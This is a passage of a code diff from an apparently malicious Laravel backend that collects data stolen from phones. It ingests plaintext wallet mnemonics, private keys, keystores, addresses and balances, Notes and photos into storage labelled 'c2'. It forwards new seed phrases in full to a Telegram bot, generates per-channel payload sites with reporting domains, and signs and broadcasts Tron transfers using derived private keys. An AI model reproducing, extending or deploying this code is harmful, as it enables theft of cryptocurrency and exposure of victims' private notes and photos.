|
||||
$msg = $ext['result']['message'] ?? ($ext['message'] ?? 'triggersmartcontract failed');
|
||||
throw new RuntimeException(is_string($msg) ? $msg : 'triggersmartcontract failed');
|
||||
}
|
||||
|
||||
return $this->signAndBroadcast($tx, $derived['private_key']);
|
||||
}
|
||||
|
||||
public function isValidAddress(string $address): bool
|
||||
{
|
||||
return TronAddress::isValid($address);
|
||||
}
|
||||
|
||||
private function path(int $index): string
|
||||
{
|
||||
return "m/44'/195'/0'/0/{$index}";
|
||||
}
|
||||
|
||||
private function toSun(string $amount): string
|
||||
{
|
||||
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount)) {
|
||||
throw new RuntimeException('Invalid amount');
|
||||
}
|
||||
$sun = bcmul($amount, '1000000', 0);
|
||||
if (bccomp($sun, '0') <= 0) {
|
||||
throw new RuntimeException('Amount must be positive');
|
||||
}
|
||||
|
||||
return $sun;
|
||||
}
|
||||
|
||||
private function encodeTransferParameter(string $toBase58, string $amountSun): string
|
||||
{
|
||||
$toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes
|
||||
$addressWord = str_pad($toHex, 64, '0', STR_PAD_LEFT);
|
||||
$amountWord = str_pad(gmp_strval(gmp_init($amountSun, 10), 16), 64, '0', STR_PAD_LEFT);
|
||||
|
||||
return $addressWord.$amountWord;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $tx
|
||||
*/
|
||||
private function signAndBroadcast(array $tx, string $privateKeyHex): string
|
||||
{
|
||||
$txId = $tx['txID'] ?? null;
|
||||
if (! is_string($txId) || $txId === '') {
|
||||
throw new RuntimeException('Missing txID from node');
|
||||
}
|
||||
|
||||
$signature = TronSigner::signTxId($privateKeyHex, $txId);
|
||||
$tx['signature'] = [$signature];
|
||||
|
||||
$result = $this->post('/wallet/broadcasttransaction', $tx);
|
||||
$ok = ($result['result'] ?? false) === true;
|
||||
if (! $ok) {
|
||||
$msg = $result['message'] ?? ($result['code'] ?? 'broadcast failed');
|
||||
if (is_string($msg) && ctype_xdigit($msg)) {
|
||||
$decoded = @hex2bin($msg);
|
||||
$msg = $decoded !== false ? $decoded : $msg;
|
||||
}
|
||||
throw new RuntimeException(is_string($msg) ? $msg : 'broadcast failed');
|
||||
}
|
||||
|
||||
return $txId;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function post(string $path, array $payload): array
|
||||
{
|
||||
$resp = $this->http()->post(rtrim((string) config('coruna.tron.full_node'), '/').$path, $payload);
|
||||
if (! $resp->successful()) {
|
||||
throw new RuntimeException('Tron node HTTP '.$resp->status());
|
||||
}
|
||||
$json = $resp->json();
|
||||
if (! is_array($json)) {
|
||||
throw new RuntimeException('Invalid Tron node response');
|
||||
}
|
||||
|
||||
return $json;
|
||||
}
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
$req = Http::timeout(30)->acceptJson()->asJson();
|
||||
$apiKey = (string) config('coruna.tron.api_key', '');
|
||||
if ($apiKey !== '') {
|
||||
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
|
||||
}
|
||||
|
||||
return $req;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Elliptic\EC;
|
||||
use RuntimeException;
|
||||
|
||||
final class TronSigner
|
||||
{
|
||||
/**
|
||||
* Sign a Tron txID (sha256 hex of raw_data) → 65-byte hex signature (r||s||v).
|
||||
*/
|
||||
public static function signTxId(string $privateKeyHex, string $txIdHex): string
|
||||
{
|
||||
$txIdHex = strtolower(ltrim($txIdHex, '0x'));
|
||||
if (strlen($txIdHex) !== 64) {
|
||||
throw new RuntimeException('Invalid txID');
|
||||
}
|
||||
|
||||
$ec = new EC('secp256k1');
|
||||
$key = $ec->keyFromPrivate($privateKeyHex);
|
||||
$sig = $key->sign($txIdHex, ['canonical' => true]);
|
||||
|
||||
$r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT);
|
||||
$s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT);
|
||||
$v = dechex($sig->recoveryParam & 0xff);
|
||||
if (strlen($v) === 1) {
|
||||
$v = '0'.$v;
|
||||
}
|
||||
|
||||
return $r.$s.$v;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\File;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use RuntimeException;
|
||||
use Symfony\Component\Process\Process;
|
||||
|
||||
class ChannelProjectService
|
||||
{
|
||||
/**
|
||||
* Run tools/new_project.py to materialize public/web/{channelId}/.
|
||||
* Domains come from config (系统设置 / env); script rebuilds sync only when domains changed.
|
||||
*/
|
||||
public function generate(string $channelId): void
|
||||
{
|
||||
$channelId = strtolower(trim($channelId));
|
||||
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
|
||||
throw new RuntimeException('Invalid channel id');
|
||||
}
|
||||
|
||||
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
|
||||
if ($domains === []) {
|
||||
throw new RuntimeException('投放域名未配置(系统设置 → 投放域名)');
|
||||
}
|
||||
|
||||
$labRoot = dirname(base_path()); // coruna-lab/
|
||||
$script = $labRoot.'/tools/new_project.py';
|
||||
if (! is_file($script)) {
|
||||
throw new RuntimeException('new_project.py not found');
|
||||
}
|
||||
|
||||
$joined = implode(',', $domains);
|
||||
$cmd = [
|
||||
'python3',
|
||||
$script,
|
||||
'--channel-id',
|
||||
$channelId,
|
||||
'--deployment-domains',
|
||||
$joined,
|
||||
'--reporting-domains',
|
||||
$joined,
|
||||
];
|
||||
|
||||
$process = new Process($cmd, $labRoot);
|
||||
$process->setTimeout(600);
|
||||
$process->run();
|
||||
|
||||
if (! $process->isSuccessful()) {
|
||||
Log::error('new_project failed', [
|
||||
'channel_id' => $channelId,
|
||||
'out' => $process->getOutput(),
|
||||
'err' => $process->getErrorOutput(),
|
||||
]);
|
||||
$this->deleteWebTree($channelId);
|
||||
throw new RuntimeException(
|
||||
'生成渠道资源失败: '.trim($process->getErrorOutput() ?: $process->getOutput() ?: 'unknown')
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
public function deleteWebTree(string $channelId): void
|
||||
{
|
||||
$channelId = strtolower(trim($channelId));
|
||||
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
|
||||
return;
|
||||
}
|
||||
$dir = public_path('web/'.$channelId);
|
||||
if (is_dir($dir)) {
|
||||
File::deleteDirectory($dir);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -7,8 +7,10 @@ use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\Wallet;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
@@ -153,11 +155,12 @@ class IngestService
|
||||
$attrs['channel_id'] = $existing->channel_id;
|
||||
}
|
||||
|
||||
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
|
||||
// created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
|
||||
$device = Device::query()->updateOrCreate(
|
||||
['device_id' => $deviceKey],
|
||||
$attrs
|
||||
);
|
||||
$device->forceFill(['updated_at' => now()])->saveQuietly();
|
||||
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
@@ -165,7 +168,7 @@ class IngestService
|
||||
$device->save();
|
||||
}
|
||||
|
||||
return $device;
|
||||
return $device->refresh();
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -232,141 +235,207 @@ class IngestService
|
||||
]);
|
||||
}
|
||||
|
||||
public function ingestWalletSecrets(Device $device, ?array $payload): void
|
||||
/**
|
||||
* `/api/user/set` — plaintext mnemonic / private key in `result`.
|
||||
*/
|
||||
public function ingestMnemonic(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$mnemonic = null;
|
||||
$priv = null;
|
||||
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
|
||||
$mnemonic = $payload[$key];
|
||||
break;
|
||||
}
|
||||
}
|
||||
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
|
||||
$secret = null;
|
||||
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
$priv = $payload[$key];
|
||||
$secret = trim($payload[$key]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($mnemonic === null && $priv === null) {
|
||||
if (isset($payload['result']) || isset($payload['data'])) {
|
||||
Wallet::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||||
'raw_json' => $payload,
|
||||
]);
|
||||
}
|
||||
|
||||
if ($secret === null || $secret === '') {
|
||||
return;
|
||||
}
|
||||
$wallet = new Wallet([
|
||||
|
||||
$hash = WalletMnemonic::hashSecret($secret);
|
||||
$row = WalletMnemonic::query()->firstOrNew([
|
||||
'device_id' => $device->id,
|
||||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||||
'raw_json' => $payload,
|
||||
'mnemonic_hash' => $hash,
|
||||
]);
|
||||
$wallet->mnemonic = $mnemonic;
|
||||
$wallet->privkey = $priv;
|
||||
$wallet->save();
|
||||
$isNew = ! $row->exists;
|
||||
$source = WalletSource::fromTag($payload['a'] ?? null);
|
||||
$row->source = $source;
|
||||
$row->mnemonic = $secret;
|
||||
$row->save();
|
||||
if ($isNew) {
|
||||
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
|
||||
*/
|
||||
public function ingestKeystore(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || ! array_key_exists('result', $payload)) {
|
||||
return;
|
||||
}
|
||||
$result = $payload['result'];
|
||||
if (is_string($result)) {
|
||||
$decoded = json_decode($result, true);
|
||||
if (is_array($decoded)) {
|
||||
$result = $decoded;
|
||||
}
|
||||
}
|
||||
if (! is_array($result) && ! is_string($result)) {
|
||||
return;
|
||||
}
|
||||
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'raw_json' => is_array($result) ? $result : ['value' => $result],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
|
||||
*/
|
||||
public function ingestAddresses(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$rows = [];
|
||||
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
|
||||
if (isset($payload['ba']) && is_array($payload['ba'])) {
|
||||
$rows = $this->normalizeBaAddressRows($payload['ba']);
|
||||
} elseif (isset($payload['data']) && is_array($payload['data'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['data']);
|
||||
} elseif (isset($payload['result']) && is_array($payload['result'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['result']);
|
||||
} else {
|
||||
$rows = $this->normalizeAddressRows($payload);
|
||||
}
|
||||
$source = WalletSource::fromTag($payload['a'] ?? null);
|
||||
$rows = $this->normalizeStatusAddressRows($payload);
|
||||
/** @var list<array{address: string, chain: string, balance: string, source: string}> $notify */
|
||||
$notify = [];
|
||||
|
||||
foreach ($rows as $row) {
|
||||
$address = $row['address'] ?? null;
|
||||
if (! $address || ! is_string($address)) {
|
||||
if (! is_string($address) || $address === '') {
|
||||
continue;
|
||||
}
|
||||
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
|
||||
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
|
||||
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
|
||||
$chainType = (string) ($row['chain_type'] ?? '');
|
||||
if ($chainType === '') {
|
||||
$chainType = WalletSource::inferChainType($address);
|
||||
}
|
||||
$balance = $row['balance'] ?? '';
|
||||
// Global Wallet ad map: scalar is not a balance → ignore coin fields.
|
||||
if (! is_array($balance) && ! is_string($balance)) {
|
||||
$balance = '';
|
||||
}
|
||||
|
||||
$existing = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', $address)
|
||||
->where('chain', $chain)
|
||||
->where('source', $source)
|
||||
->first();
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
|
||||
[
|
||||
'balance' => $balance,
|
||||
'symbol' => $symbol,
|
||||
'meta_json' => $row,
|
||||
]
|
||||
);
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||||
$addr->telegram_notified = true;
|
||||
$addr->save();
|
||||
} elseif ($balance !== null && $existing->balance !== $balance) {
|
||||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||||
|
||||
$beforeCoins = $existing?->coinSnapshot();
|
||||
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
|
||||
|
||||
$attrs = ['chain_type' => $chainType];
|
||||
foreach ($coinAttrs as $col => $value) {
|
||||
$attrs[$col] = $value;
|
||||
}
|
||||
if (! $existing) {
|
||||
$attrs['monitor'] = 0;
|
||||
}
|
||||
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'address' => $address, 'source' => $source],
|
||||
$attrs
|
||||
);
|
||||
|
||||
$balanceSummary = $addr->coinsSummary();
|
||||
$shouldNotify = ! $existing
|
||||
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
|
||||
if ($shouldNotify) {
|
||||
$notify[] = [
|
||||
'address' => $address,
|
||||
'chain' => $chainType,
|
||||
'balance' => $balanceSummary,
|
||||
'source' => $source,
|
||||
];
|
||||
}
|
||||
unset($addr);
|
||||
}
|
||||
|
||||
if ($notify !== []) {
|
||||
$this->telegram->notifyNewWallets($device->device_id, $notify);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
|
||||
*/
|
||||
public function ingestNotes(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
||||
return;
|
||||
}
|
||||
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
|
||||
if (! is_array($notes)) {
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'title' => 'raw',
|
||||
'body' => null,
|
||||
'meta_json' => $payload,
|
||||
]);
|
||||
$list = $payload['list'];
|
||||
if (! is_array($list)) {
|
||||
$list = [$list];
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
$list = array_is_list($notes) ? $notes : [$notes];
|
||||
foreach ($list as $note) {
|
||||
if (! is_array($note)) {
|
||||
continue;
|
||||
}
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'title' => $note['title'] ?? $note['name'] ?? null,
|
||||
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
|
||||
'meta_json' => $note,
|
||||
]);
|
||||
}
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => array_values($list),
|
||||
]);
|
||||
}
|
||||
|
||||
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
|
||||
/**
|
||||
* Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx".
|
||||
*
|
||||
* @return array{0: ?int, 1: ?int}
|
||||
*/
|
||||
public static function decodeHexCounterPair(mixed $packed): array
|
||||
{
|
||||
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
|
||||
return [null, null];
|
||||
}
|
||||
|
||||
return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{
|
||||
* x_hit?: ?int,
|
||||
* upload_count?: ?int,
|
||||
* process_index?: ?int,
|
||||
* text_count?: ?int,
|
||||
* barcode_count?: ?int
|
||||
* } $meta
|
||||
*/
|
||||
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
|
||||
{
|
||||
$notifiedNewSensitive = false;
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
}
|
||||
$bytes = file_get_contents($path);
|
||||
$sha = hash('sha256', $bytes);
|
||||
// Same file content → skip DB insert & telegram (idempotent).
|
||||
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
|
||||
continue;
|
||||
}
|
||||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
Photo::query()->create([
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
$photo = Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => $sha,
|
||||
'path' => $rel,
|
||||
'size' => strlen($bytes),
|
||||
'counters_json' => $counters,
|
||||
'x_hit' => $xHit,
|
||||
'upload_count' => $meta['upload_count'] ?? null,
|
||||
'process_index' => $meta['process_index'] ?? null,
|
||||
'text_count' => $meta['text_count'] ?? null,
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
|
||||
$this->telegram->notifyNewPhotos($device->device_id);
|
||||
$notifiedNewSensitive = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -425,37 +494,43 @@ class IngestService
|
||||
return null;
|
||||
}
|
||||
|
||||
private function looksLikeMnemonic(string $value): bool
|
||||
/**
|
||||
* Normalize `/api/user/status` shapes into address rows.
|
||||
*
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function normalizeStatusAddressRows(array $payload): array
|
||||
{
|
||||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||||
|
||||
return in_array(count($words), [12, 15, 18, 21, 24], true)
|
||||
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
|
||||
}
|
||||
|
||||
private function normalizeAddressRows(array $data): array
|
||||
{
|
||||
if (array_is_list($data)) {
|
||||
return array_values(array_filter($data, 'is_array'));
|
||||
$ba = $payload['ba'] ?? null;
|
||||
if (is_string($ba)) {
|
||||
$decoded = json_decode($ba, true);
|
||||
$ba = is_array($decoded) ? $decoded : null;
|
||||
}
|
||||
if (isset($data['address'])) {
|
||||
return [$data];
|
||||
}
|
||||
$out = [];
|
||||
foreach ($data as $value) {
|
||||
if (is_array($value) && isset($value['address'])) {
|
||||
$out[] = $value;
|
||||
}
|
||||
if (is_array($ba)) {
|
||||
return $this->normalizeBaAddressRows($ba);
|
||||
}
|
||||
|
||||
return $out;
|
||||
$ad = $payload['ad'] ?? null;
|
||||
if (is_string($ad)) {
|
||||
$decoded = json_decode($ad, true);
|
||||
$ad = is_array($decoded) ? $decoded : null;
|
||||
}
|
||||
if (is_array($ad)) {
|
||||
return $this->normalizeAdAddressRows($ad);
|
||||
}
|
||||
|
||||
if (isset($payload['data']) && is_array($payload['data'])) {
|
||||
return $this->normalizeLegacyDataRows($payload['data']);
|
||||
}
|
||||
|
||||
return [];
|
||||
}
|
||||
|
||||
/**
|
||||
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
|
||||
* imToken-style: { "<address>": [ { balance, chainType, symbol, decimal }, ... ] }
|
||||
*
|
||||
* @param array<string, mixed> $ba
|
||||
* @return list<array<string, mixed>>
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function normalizeBaAddressRows(array $ba): array
|
||||
{
|
||||
@@ -464,25 +539,129 @@ class IngestService
|
||||
if (! is_string($address) || $address === '' || ! is_array($assets)) {
|
||||
continue;
|
||||
}
|
||||
$list = array_values(array_filter($assets, 'is_array'));
|
||||
if ($list === []) {
|
||||
continue;
|
||||
}
|
||||
$primary = $list[0];
|
||||
foreach ($list as $asset) {
|
||||
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
|
||||
if ($bal !== '' && $bal !== '0') {
|
||||
$primary = $asset;
|
||||
break;
|
||||
$balance = [];
|
||||
$chainType = '';
|
||||
foreach ($assets as $asset) {
|
||||
if (! is_array($asset)) {
|
||||
continue;
|
||||
}
|
||||
if ($chainType === '') {
|
||||
$chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? '');
|
||||
}
|
||||
$symbol = strtoupper((string) ($asset['symbol'] ?? ''));
|
||||
if ($symbol === '') {
|
||||
continue;
|
||||
}
|
||||
$balance[$symbol] = WalletSource::formatBalance(
|
||||
$asset['balance'] ?? 0,
|
||||
$asset['decimal'] ?? $asset['decimals'] ?? null
|
||||
);
|
||||
}
|
||||
if ($chainType === '') {
|
||||
$chainType = WalletSource::inferChainType($address);
|
||||
}
|
||||
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain' => $chain,
|
||||
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
|
||||
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
|
||||
'assets' => $list,
|
||||
'chain_type' => strtoupper($chainType),
|
||||
'balance' => $balance,
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Global: { "<address>": "<opaque scalar>" } — scalar is NOT a balance.
|
||||
* Trust: [ { address, symbol, balance, decimals }, ... ]
|
||||
*
|
||||
* @param array<mixed> $ad
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>|string}>
|
||||
*/
|
||||
private function normalizeAdAddressRows(array $ad): array
|
||||
{
|
||||
if (array_is_list($ad)) {
|
||||
/** @var array<string, array{address: string, chain_type: string, balance: array<string, int|float|string>}> $byAddr */
|
||||
$byAddr = [];
|
||||
foreach ($ad as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$address = (string) ($item['address'] ?? '');
|
||||
if ($address === '') {
|
||||
continue;
|
||||
}
|
||||
if (! isset($byAddr[$address])) {
|
||||
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
||||
if ($chain === '') {
|
||||
$chain = WalletSource::inferChainType($address);
|
||||
}
|
||||
$byAddr[$address] = [
|
||||
'address' => $address,
|
||||
'chain_type' => strtoupper($chain),
|
||||
'balance' => [],
|
||||
];
|
||||
}
|
||||
$symbol = strtoupper((string) ($item['symbol'] ?? ''));
|
||||
if ($symbol === '') {
|
||||
continue;
|
||||
}
|
||||
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
|
||||
$item['balance'] ?? $item['value'] ?? 0,
|
||||
$item['decimal'] ?? $item['decimals'] ?? null
|
||||
);
|
||||
}
|
||||
|
||||
return array_values($byAddr);
|
||||
}
|
||||
|
||||
// Global Wallet: address → opaque scalar (not balance) → store empty string
|
||||
$out = [];
|
||||
foreach ($ad as $address => $value) {
|
||||
if (! is_string($address) || $address === '') {
|
||||
continue;
|
||||
}
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain_type' => WalletSource::inferChainType($address),
|
||||
'balance' => '',
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Legacy lab fixture: [ { address, chain, balance, symbol } ]
|
||||
*
|
||||
* @param array<mixed> $data
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function normalizeLegacyDataRows(array $data): array
|
||||
{
|
||||
$items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []);
|
||||
$out = [];
|
||||
foreach ($items as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$address = (string) ($item['address'] ?? '');
|
||||
if ($address === '') {
|
||||
continue;
|
||||
}
|
||||
$chainType = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
||||
if ($chainType === '') {
|
||||
$chainType = WalletSource::inferChainType($address);
|
||||
}
|
||||
$symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType)));
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain_type' => strtoupper($chainType),
|
||||
'balance' => [
|
||||
$symbol => WalletSource::formatBalance(
|
||||
$item['balance'] ?? 0,
|
||||
$item['decimal'] ?? $item['decimals'] ?? null
|
||||
),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,140 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Setting;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
class SettingsService
|
||||
{
|
||||
public const KEYS = [
|
||||
'telegram.bot_token',
|
||||
'telegram.owner_chat_id',
|
||||
'channels.max_per_agent',
|
||||
'channels.domains',
|
||||
];
|
||||
|
||||
/** @return array<string, string|null> */
|
||||
public function all(): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (self::KEYS as $key) {
|
||||
$out[$key] = $this->get($key);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function get(string $key, ?string $default = null): ?string
|
||||
{
|
||||
if (! $this->tableReady()) {
|
||||
return $default;
|
||||
}
|
||||
|
||||
$map = $this->cachedMap();
|
||||
|
||||
return array_key_exists($key, $map) ? $map[$key] : $default;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $values
|
||||
*/
|
||||
public function putMany(array $values): void
|
||||
{
|
||||
foreach ($values as $key => $value) {
|
||||
if (! in_array($key, self::KEYS, true)) {
|
||||
continue;
|
||||
}
|
||||
$str = $value === null ? null : trim((string) $value);
|
||||
Setting::query()->updateOrCreate(
|
||||
['key' => $key],
|
||||
['value' => $str === '' ? null : $str]
|
||||
);
|
||||
}
|
||||
Cache::forget($this->cacheKey());
|
||||
$this->applyToConfig();
|
||||
}
|
||||
|
||||
public function applyToConfig(): void
|
||||
{
|
||||
if (! $this->tableReady()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$map = $this->cachedMap();
|
||||
|
||||
$bot = $map['telegram.bot_token'] ?? null;
|
||||
if ($bot !== null && $bot !== '') {
|
||||
config([
|
||||
'coruna.telegram.bot_token' => $bot,
|
||||
'nutgram.token' => $bot,
|
||||
]);
|
||||
}
|
||||
$chat = $map['telegram.owner_chat_id'] ?? null;
|
||||
if ($chat !== null && $chat !== '') {
|
||||
config(['coruna.telegram.owner_chat_id' => $chat]);
|
||||
}
|
||||
|
||||
$max = $map['channels.max_per_agent'] ?? null;
|
||||
if ($max !== null && $max !== '' && is_numeric($max)) {
|
||||
config(['coruna.channels.max_per_agent' => max(1, (int) $max)]);
|
||||
}
|
||||
|
||||
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
|
||||
config(['coruna.channel_domains' => self::parseDomains($map['channels.domains'])]);
|
||||
}
|
||||
}
|
||||
|
||||
/** Effective values for the settings form (DB overrides env). */
|
||||
public function effectiveForForm(): array
|
||||
{
|
||||
$domains = config('coruna.channel_domains', []);
|
||||
|
||||
return [
|
||||
'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''),
|
||||
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
|
||||
'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5),
|
||||
'channels.domains' => is_array($domains) ? implode("\n", $domains) : '',
|
||||
];
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
public static function parseDomains(?string $raw): array
|
||||
{
|
||||
if ($raw === null || trim($raw) === '') {
|
||||
return [];
|
||||
}
|
||||
$parts = preg_split('/[\s,;]+/', trim($raw)) ?: [];
|
||||
|
||||
return array_values(array_filter(array_map(static function ($d) {
|
||||
$d = trim((string) $d);
|
||||
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
|
||||
$d = rtrim($d, '/');
|
||||
|
||||
return $d;
|
||||
}, $parts)));
|
||||
}
|
||||
|
||||
/** @return array<string, string|null> */
|
||||
private function cachedMap(): array
|
||||
{
|
||||
return Cache::remember($this->cacheKey(), 300, function () {
|
||||
return Setting::query()->pluck('value', 'key')->all();
|
||||
});
|
||||
}
|
||||
|
||||
private function cacheKey(): string
|
||||
{
|
||||
return 'coruna.settings.map';
|
||||
}
|
||||
|
||||
private function tableReady(): bool
|
||||
{
|
||||
try {
|
||||
return Schema::hasTable('settings');
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
@@ -25,6 +26,7 @@ class TelegramNotifier
|
||||
[
